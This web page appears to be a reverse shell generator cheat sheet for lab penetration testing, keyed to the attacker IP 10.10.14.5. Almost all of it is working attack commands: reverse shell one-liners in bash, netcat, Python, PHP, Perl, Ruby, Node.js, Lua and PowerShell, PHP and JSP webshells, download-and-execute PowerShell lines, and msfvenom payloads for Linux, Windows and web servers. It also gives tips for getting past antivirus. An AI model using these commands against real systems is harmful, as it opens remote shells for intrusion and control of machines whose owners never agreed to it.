Reverse shell generator

Type your IP (the tun0 one) and the port you listen on, and copy the shell that matches what is installed on the target. Then upgrade it with the TTY cheatsheet.

Your values Saved in this browser and applied to every cheatsheet.

Linux

Listen on your machine

netcat Attacker
nc -lvnp 443
netcat with history and arrow keys (rlwrap) Attacker
rlwrap -cAr nc -lvnp 443
Find your VPN IP Attacker
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+'

Bash

Bash via /dev/tcp
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

The leading bash -c is needed when sh runs the command (for example, from a command injection).

Bash with file descriptor 196
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196
For URL injections (no spaces or &)
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22

Netcat

mkfifo (works with any nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
nc with -e
nc -e /bin/bash 10.10.14.5 443

Only on nc builds that include -e (nc.traditional, ncat).

BusyBox
busybox nc 10.10.14.5 443 -e sh

Scripting languages

Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
PHP
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");'
Perl
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
Ruby
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)'
Node.js
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})'
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');"

Fully interactive shell (socat)

Listen Attacker
socat file:`tty`,raw,echo=0 tcp-listen:443
Connect Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443

If the target has no socat, upload a static binary (github.com/andrew-d/static-binaries).

Webshells

PHP

Minimal webshell
<?php system($_GET['cmd']); ?>

Use it with ?cmd=id. If system is disabled, try passthru, shell_exec, exec or popen.

Webshell that launches the reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
Call the webshell with curl Attacker
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"

Other languages

JSP
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>
ASPX (Windows) Attacker
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx

Windows

PowerShell

One-liner reverse shell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

If antivirus blocks it, run it through the encoder (PowerShell -enc) or use Invoke-PowerShellTcp.

Nishang Invoke-PowerShellTcp from your server
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"

Serve the script with python3 -m http.server 80 from the folder that holds it.

With binaries

nc.exe from your own SMB share
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443

On your machine: impacket-smbserver share $(pwd) -smb2support (in the folder with nc.exe).

Full TTY on Windows (ConPtyShell) Target
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443
Listener for ConPtyShell Attacker
stty raw -echo; (stty size; cat) | nc -lvnp 443

msfvenom

Executables

Linux ELF x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
Windows EXE x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
Windows MSI (for AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
Windows DLL (DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll

Web

WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
PHP
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php

Shellcode

Python shellcode without null bytes
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
C shellcode for Windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c